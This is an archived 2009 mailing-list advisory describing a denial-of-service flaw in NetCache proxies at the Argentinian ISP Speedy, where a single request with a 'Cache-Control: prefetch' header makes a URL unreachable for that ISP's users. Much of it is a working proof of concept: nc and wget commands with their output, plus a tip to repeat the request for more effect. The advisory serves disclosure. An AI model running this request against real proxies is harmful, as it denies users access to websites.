NNSquad - Network Neutrality Squad
[ NNSquad ] [ADVISORY] NetCache URL DoS - Argentinian ISP
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A DoS vulnerability exists in NetCache proxies of at least some areas
of Speedy Argentina ISP (201.255.64/18), by which a URL could be rendered
inaccessible by means of the prefetch cache control directive.
The procedure is very simple, sending several times a simple GET
HTTP/1.1 request to the victim URL will make the proxies no longer
serve it. Users will be waiting for about two minutes and then the TCP
connection will be closed, which depending on the user agent it will
be interpreted as a valid zero-length HTTP 0.9 reply or an error.
It is worth noting that this attack affects the URL EXACTLY. For
instance, attacking http://www.google.com/ will not block
http://www.google.com./ (notice the dot before the last slash), nor
http://www.google.com/whatever neither. However, it is clear enough
that even affecting a single URL is enough to make many sites
unusable.
Since the ISP has its proxies infrastructure half-migrated to BlueCoat
proxies (which don't honor prefetch directive), this vulnerability may
look randomly observable on big sites (like Google) due to the
destination IP-based load balancing. Additionally it seems to be an
extra load balancing which makes some remote IP addresses be caught by
a BlueCoat proxy even though the same IP was handled nearly all times
by a NetCache.
This vulnerability was not present earlier but since Speedy made their
proxies unable to go out with their own IPs, the prefetch couldn't
work anymore and the NetCache proxies seems to not want to spoof the
clients' IP addresses for that URL until the prefetch is done (never).
Here it is a PoC using a Google's IP for the testing purposes, but the
same behavior would be exhibited by the victim proxy with host names:
// Lets check our target IP is handled by a NetCache:
$ printf "TRACE / HTTP/1.1\r\nHost: 74.125.65.106\r\nMax-Forwards:
0\r\nConnection: Close\r\n\r\n" | nc 74.125.65.106 80
HTTP/1.1 200 OK
Date: Mon, 17 Aug 2009 00:35:16 GMT
Content-Length: 97
Content-Type: message/http
Server: NetCache appliance (NetApp/6.0.7)
Connection: close
TRACE http://74.125.65.106/ HTTP/1.1
Host: 74.125.65.106
Max-Forwards: 0
Connection: close
//OK, it is, lets register the IP in a variable for later use:
$ GoogleHost=74.125.65.106
//Lets verify it is working now:
$ wget http://$GoogleHost/ -O /dev/null -T 5
- --2009-08-16 21:15:05-- http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `/dev/null'
[ <=> ] 5,136
32.6K/s in 0.2s
2009-08-16 21:15:05 (32.6 KB/s) - `/dev/null' saved [5136]
$ wget http://$GoogleHost/ -O /dev/null -T 5
- --2009-08-16 21:15:07-- http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `/dev/null'
[ <=> ] 5,154
- --.-K/s in 0.1s
2009-08-16 21:15:08 (35.8 KB/s) - `/dev/null' saved [5154]
$ wget http://$GoogleHost/ -O /dev/null -T 5
- --2009-08-16 21:15:10-- http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `/dev/null'
[ <=> ] 5,136
- --.-K/s in 0.01s
2009-08-16 21:15:10 (360 KB/s) - `/dev/null' saved [5136]
//Now we exploit the bug. Take in mind that for extra effectiveness it
would be better to repeat this step many times for better pollution
$ printf "GET / HTTP/1.1\r\nHost: $GoogleHost\r\nCache-Control:
prefetch\r\nConnection: Close\r\n\r\n" | nc $GoogleHost 80
HTTP/1.1 200 OK
Server: NetApp/6.0.7
//Lets try downloading the index page again:
$ wget http://$GoogleHost/ -O /dev/null -T 5
- --2009-08-16 21:15:58-- http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.
- --2009-08-16 21:16:04-- (try: 2) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.
- --2009-08-16 21:16:11-- (try: 3) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.
- --2009-08-16 21:16:20-- (try: 4) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `/dev/null'
[ <=> ] 5,118
33.0K/s in 0.2s
2009-08-16 21:16:20 (33.0 KB/s) - `/dev/null' saved [5118]
// As you can see it worked in the last try. The problem is that at
times a BlueCoat proxy may handle the request as can be seen here:
$ printf "TRACE / HTTP/1.1\r\nHost: 74.125.65.106\r\nMax-Forwards:
0\r\nConnection: Close\r\n\r\n" | nc 74.125.65.106 80
HTTP/1.1 400 Bad Request
Content-Type: text/html; charset=UTF-8
Date: Mon, 17 Aug 2009 00:12:03 GMT
Server: GFE/2.0
Content-Length: 1350
Connection: close
(Output ommited)
//Trying wget once more:
$ wget http://$GoogleHost/ -O /dev/null -T 5
- --2009-08-16 21:17:25-- http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.
- --2009-08-16 21:17:31-- (try: 2) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.
- --2009-08-16 21:17:38-- (try: 3) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.
- --2009-08-16 21:17:46-- (try: 4) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.
- --2009-08-16 21:17:55-- (try: 5) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.
- --2009-08-16 21:18:05-- (try: 6) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.
- --2009-08-16 21:18:16-- (try: 7) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.
- --2009-08-16 21:18:28-- (try: 8) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.
- --2009-08-16 21:18:41-- (try: 9) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.
- --2009-08-16 21:18:55-- (try:10) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.
- --2009-08-16 21:19:10-- (try:11) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.
- --2009-08-16 21:19:25-- (try:12) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.
^C
//After twelve tries it never worked. However, trying with a sightly
different URL:
$ wget http://$GoogleHost/? -O /dev/null -T 5
- --2009-08-16 21:19:41-- http://74.125.65.106/?
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `/dev/null'
[ <=> ] 5,136
- --.-K/s in 0.1s
2009-08-16 21:19:41 (33.7 KB/s) - `/dev/null' saved [5136]
$ wget http://$GoogleHost/? -O /dev/null -T 5
- --2009-08-16 21:19:42-- http://74.125.65.106/?
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `/dev/null'
[ <=> ] 5,136
33.1K/s in 0.2s
2009-08-16 21:19:42 (33.1 KB/s) - `/dev/null' saved [5136]
$ wget http://$GoogleHost/? -O /dev/null -T 5
- --2009-08-16 21:19:43-- http://74.125.65.106/?
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `/dev/null'
[ <=> ] 5,136
- --.-K/s in 0.01s
2009-08-16 21:19:43 (346 KB/s) - `/dev/null' saved [5136]
//Now it worked fine. Lets try again the attacked URL:
$ wget http://$GoogleHost/ -O /dev/null -T 5
- --2009-08-16 21:19:46-- http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.
- --2009-08-16 21:19:52-- (try: 2) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... ^C
//Still inaccessible.
- --
Arturo "Buanzo" Busleiman / Arturo Busleiman @ 4:900/107
Independent Linux and Security Consultant - SANS - OISSG - OWASP
http://www.buanzo.com.ar/pro/eng.html
Mailing List Archives at http://archiver.mailfighter.net
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